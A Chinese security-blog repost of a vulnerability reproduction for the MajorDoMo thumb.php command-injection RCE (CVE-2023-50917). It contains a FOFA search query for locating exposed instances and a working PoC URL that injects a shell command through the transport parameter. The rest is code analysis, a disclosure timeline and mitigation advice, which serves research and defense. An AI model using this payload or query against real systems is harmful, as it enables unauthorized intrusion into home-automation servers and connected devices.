【漏洞复现】CNVD-2024-02175 MajorDoMo-thumb未授权远程代码执行漏洞

admin 2024年4月19日21:53:00评论20 views字数 2397阅读7分59秒阅读模式
PART.01
免责声明

道一安全(本公众号)的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

PART.02
漏洞描述

MajorDoMo是MajorDoMo社区的一个开源DIY智能家居自动化平台。MajorDoMo 0662e5e之前版本存在安全漏洞,该漏洞源于文件thumb.php存在命令执行漏洞。

PART.03
fofa搜索语句

app="MajordomoSL"

【漏洞复现】CNVD-2024-02175 MajorDoMo-thumb未授权远程代码执行漏洞

PART.04
影响版本

MajordomoSL

PART.05
漏洞复现

【漏洞复现】CNVD-2024-02175 MajorDoMo-thumb未授权远程代码执行漏洞

POC:

/modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B

【漏洞复现】CNVD-2024-02175 MajorDoMo-thumb未授权远程代码执行漏洞

漏洞原理:(摘自国外网站chatgpt翻译而来)

**介绍**

MajorDoMo是俄罗斯家庭自动化领域的一面旗帜,尤其受到树莓派爱好者的青睐,在过去十年中一直是一个值得信赖的名字。截至撰写本文时(https://github.com/sergejey/majordomo),其官方GitHub仓库已经获得了超过380个星标,其受欢迎程度不言而喻。然而,在其`thumb.php`模块内部潜藏着一个严重的未经身份验证的远程代码执行(RCE)漏洞,在版本0662e5e之前存在。

注:这与Majordomo邮件列表管理器无关。

**漏洞披露时间线:**

- 2023年10月28日:发现漏洞(CVE-2023-50917)。

- 2023年10月29日:联系MajorDoMo团队,详细说明漏洞情况。

- 2023年11月6日:由于MajorDoMo团队一周多时间没有回复,向适当的CNA提交CVE请求。

- 2023年11月14日:再次尝试联系MajorDoMo团队。几个小时后收到团队的回复。已经应用了补丁。

- 2023年12月15日:公开披露CVE-2023-50917。

**技术背景:漏洞代码**

脚本`/modules/thumb/thumb.php`主要用于MajorDoMo中的缩略图生成。它旨在从各种媒体源生成缩略图。但在这个良性目的背后隐藏着一个重大漏洞:

**关键代码片段和分析:**

1. **URL解码:**

PHP代码:$url = base64_decode($url);

该脚本接收一个base64编码的`url`参数并对其进行解码。这个解码过程至关重要,因为它允许攻击者混淆他们的载荷,绕过简单的检查。

2. **模式检查:**

PHP代码:if (preg_match('/^rtsp:/is', $url) || preg_match('//dev/', $url)) { ... }

然后脚本检查解码后的`url`是否符合特定模式(`rtsp:`或`/dev`)。这是一个基本的检查,用于决定是否处理URL。通过使用base64编码,攻击者可以轻松地绕过此验证。

3. **直接命令构建:**

PHP代码:if ($_GET['transport']) { $stream_options = '-rtsp_transport ' . $_GET['transport'] . ' ' . $stream_options; }

漏洞的关键在于,`transport`参数被直接采用并嵌入到一个没有足够净化的系统命令中。这个明显的疏忽允许任意命令注入。通过构造`transport`参数,攻击者可以引入并执行任意命令。随后的命令通过`exec`函数执行,这构成了重大的安全风险。

**核心漏洞**

漏洞的本质是未经检查和未经净化的用户输入(来自`transport`参数),直接被整合到系统命令中。这允许攻击者在服务器上运行任意命令,可能完全控制MajorDoMo实例。

**利用途径:**

1. **绕过URL验证:**

脚本最初的验证检查`rtsp:`或`/dev`等模式。通过使用base64编码的字符串如`cnRzcDovL2EK`(解码为`rtsp://a`),可以轻松地绕过这些检查。

2. **通过`transport`参数进行命令注入:**

`transport`参数直接用于系统命令。没有进行净化,这可以用于命令注入,导致RCE。例如,命令`||echo; echo $(command_here)`可以用于打破预期的命令并执行任意命令。

**潜在影响**

这个RCE漏洞的严重性很高。考虑到MajorDoMo在家庭自动化中的重要作用,成功利用可能导致攻击者破坏物理安全系统,获取监控摄像头的访问权限,甚至控制其他连接的IoT设备。

**减轻建议**

- 彻底的输入验证:必须严格验证所有输入。这可以防止恶意载荷被处理。

- 在执行之前净化:输入应在被整合到任何系统命令之前进行净化。

- 限制直接命令执行:优先使用内置的PHP函数或安全的API,而不是直接的系统命令执行。

**结论**

这个漏洞凸显了彻底的代码审查和健壮的输入验证的重要性。即使是像MajorDoMo这样的成熟软件项目也不免于关键漏洞。这一发现提醒我们,在所有软件开发阶段都需要勤奋和积极的安全态度。

请参阅https://nvd.nist.gov/vuln/detail/CVE-2023-50917

Valentin Lobstein

本工具或文章来源于网络,若有侵权请联系作者删除,请在24小时内删除,请勿用于商业行为,自行查验是否具有后门,切勿相信软件内的广告!

原文始发于微信公众号(道一安全):【漏洞复现】CNVD-2024-02175 MajorDoMo-thumb未授权远程代码执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月19日21:53:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】CNVD-2024-02175 MajorDoMo-thumb未授权远程代码执行漏洞https://cn-sec.com/archives/2662333.html

发表评论

匿名网友 填写信息